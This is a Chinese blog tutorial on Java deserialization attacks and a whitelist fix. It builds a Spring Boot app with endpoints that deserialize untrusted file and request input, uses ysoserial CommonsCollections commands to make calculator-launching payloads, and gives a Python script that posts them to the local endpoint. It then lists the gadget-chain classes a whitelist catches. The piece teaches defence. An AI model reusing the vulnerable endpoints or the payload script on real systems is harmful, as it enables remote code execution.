web java反序列化例子与修复建议

文章目录

搭环境

每次搭环境总是能遇到千奇百怪的问题,真是服了。
1、下载springboot demo,当然,IDEA直接创建spring boot也可以,参见我前期教程,不要搞太新的,依赖包会出问题:
在这里插入图片描述
2、解压,使用idea打开,idea需要配置mvn的国内源,查看setting.xml的存放路径
在这里插入图片描述
然后在相应路径创建setting.xml,有则覆盖,配置如下:

<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
                      http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <localRepository/>
  <interactiveMode/>
  <usePluginRegistry/>
  <offline/>
  <pluginGroups/>
  <servers/>
  <mirrors>
    <mirror>
     <id>aliyunmaven</id>
     <mirrorOf>central</mirrorOf>
     <name>aliyunpublice</name>
     <url>https://maven.aliyun.com/repository/central</url>
    </mirror>
    <mirror>
      <id>repo1</id>
      <mirrorOf>central</mirrorOf>
      <name>central repo</name>
      <url>http://repo1.maven.org/maven2/</url>
    </mirror>
    <mirror>
     <id>aliyunmaven</id>
     <mirrorOf>apache snapshots</mirrorOf>
     <name>aliyunapache</name>
     <url>https://maven.aliyun.com/repository/apache-snapshots</url>
    </mirror>
  </mirrors>
  <proxies/>
  <activeProfiles/>
  <profiles>
    <profile>  
        <repositories>
           <repository>
                <id>aliyunmaven</id>
                <name>aliyunmaven</name>
                <url>https://maven.aliyun.com/repository/public</url>
                <layout>default</layout>
                <releases>
                        <enabled>true</enabled>
                </releases>
                <snapshots>
                        <enabled>true</enabled>
                </snapshots>
            </repository>
            <repository>
                <id>MavenCentral</id>
                <url>http://repo1.maven.org/maven2/</url>
            </repository>
            <repository>
                <id>aliyunmavenApache</id>
                <url>https://maven.aliyun.com/repository/apache-snapshots</url>
            </repository>
        </repositories>             
     </profile>
  </profiles>
</settings>

3、项目搭建
创建一个SerializeController:
在这里插入图片描述
内容如下,第一个执行本地反序列化文件,第二个函数执行远程反序列化流:

// by 5wimming
package com.wimming.springproject;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;

@RestController
@RequestMapping("/ser")
public class SerializeController {
    @RequestMapping("/loc")
    public String byLoc() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("/Users/all/program/tools/ysoserial/poc.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
        return "loc success";
    }

    @RequestMapping(value = "/byte", method = RequestMethod.POST)
    public String byByte(HttpServletRequest request) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        ois.readObject();
        ois.close();
        return "loc success";
    }

}

其中poc.ser,使用如下命令生成

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open /System/Applications/Calculator.app" >poc.ser  //mac
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "calc.exe" >poc.ser  //windows

yso下载:
链接: https://pan.baidu.com/s/1lN2ngR5BxWJ6h89wd7Fxuw 密码: emvf

怼它

启动idea
访问http://127.0.0.1:8080/ser/loc,发现弹出了计算器
在这里插入图片描述
也可以直接发送字节流,这里使用python,直接从内存中读取payload,防止编码问题:

# by 5wimming
import requests
import subprocess
import time


def yso_input_stream():
    target = "http://127.0.0.1:8080/ser/byte"
    p = subprocess.Popen(
        'java -jar /Users/all/program/tools/ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 \"open /System/Applications/Calculator.app\"',
        shell=True, stdout=subprocess.PIPE)
    out, err = p.communicate()
    r = requests.post(target, data=out)
    print(r.text)


if __name__ == '__main__':
    yso_input_stream()

上面python脚本建议收藏,能帮你避开很多编码的坑。
在这里插入图片描述

修复

修复方法很多,这里举一个白名单的修复方法,直观简单,还能看看反序列化链。

创建一个CheckObjectInputStreamUtils类,用于检测反序列化过程中用到的类:
在这里插入图片描述

// by 5wimming
package com.wimming.springproject;

import java.io.*;
import java.util.Collection;
import java.util.HashSet;

public class CheckObjectInputStreamUtils extends ObjectInputStream {
    private HashSet<String> classes = new HashSet<>();

    public CheckObjectInputStreamUtils(BufferedInputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String name = desc.getName();
        if(!isSafeClass(name)){
            System.out.println("classNames not illegal. {}, classNames are {}".format(name, classes));
            throw new ClassNotFoundException();
        }
        return super.resolveClass(desc);

    }

    public void addSafeClass(Collection<String> names){
        classes.addAll(names);
    }

    private boolean isSafeClass(String name){
        return classes.contains(name);
    }
}

在SerializeController中新建一个方法loc1,并且将String类加入白名单,修改后记得重启idea:

// by 5wimming
package com.wimming.springproject;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;

@RestController
@RequestMapping("/ser")
public class SerializeController {
    @RequestMapping("/loc")
    public String byLoc() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("/Users/rym/all/program/tools/ysoserial/poc.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
        return "loc success";
    }

    @RequestMapping("/loc1")
    public String byLoc1() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("/Users/rym/all/program/tools/ysoserial/poc.ser");
        CheckObjectInputStreamUtils objectInputStream = new CheckObjectInputStreamUtils(new BufferedInputStream(fis));
        ArrayList<String> classNames = new ArrayList<>();
        classNames.add("java.lang.String");
//        classNames.add("javax.management.BadAttributeValueExpException");
//        classNames.add("java.lang.Exception");
//        classNames.add("java.lang.Throwable");
//        classNames.add("[Ljava.lang.StackTraceElement;");
//        classNames.add("java.lang.StackTraceElement");
//        classNames.add("java.util.Collections$UnmodifiableList");
//        classNames.add("java.util.Collections$UnmodifiableCollection");
//        classNames.add("java.util.ArrayList");
//        classNames.add("org.apache.commons.collections.keyvalue.TiedMapEntry");
//        classNames.add("org.apache.commons.collections.map.LazyMap");
//        classNames.add("org.apache.commons.collections.functors.ChainedTransformer");
//        classNames.add("[Lorg.apache.commons.collections.Transformer;");
//        classNames.add("org.apache.commons.collections.functors.ConstantTransformer");
//        classNames.add("java.lang.Runtime");
//        classNames.add("org.apache.commons.collections.functors.InvokerTransformer");
//        classNames.add("[Ljava.lang.Object;");
//        classNames.add("[Ljava.lang.Class;");
//        classNames.add("java.lang.Object");
//        classNames.add("[Ljava.lang.String;");
//        classNames.add("java.lang.Integer");
//        classNames.add("java.lang.Number");
//        classNames.add("java.util.HashMap");
        objectInputStream.addSafeClass(classNames);
        objectInputStream.readObject();
        objectInputStream.close();
        return "loc success";
    }

    @RequestMapping(value = "/byte", method = RequestMethod.POST)
    public String byByte(HttpServletRequest request) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
        ois.readObject();
        ois.close();
        return "loc success";
    }

}

然后再访问链接http://127.0.0.1:8080/ser/loc1,发现报错
在这里插入图片描述
看看idea控制台,发现拦截了很多”恶意类“:
在这里插入图片描述
把这些类加入白名单,也就是将函数byLoc1中的注释取消掉,再访问链接http://127.0.0.1:8080/ser/loc1
在这里插入图片描述
发现胡汉三又回来了。

当然,白名单的方法也有个缺陷,万一你把带有命令执行的类(或者通过该类作为跳板,可以调用其他可以导致命令执行的类)加进去了,那就game over了,不过如果是自己写的类,黑盒测试是很难发现的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值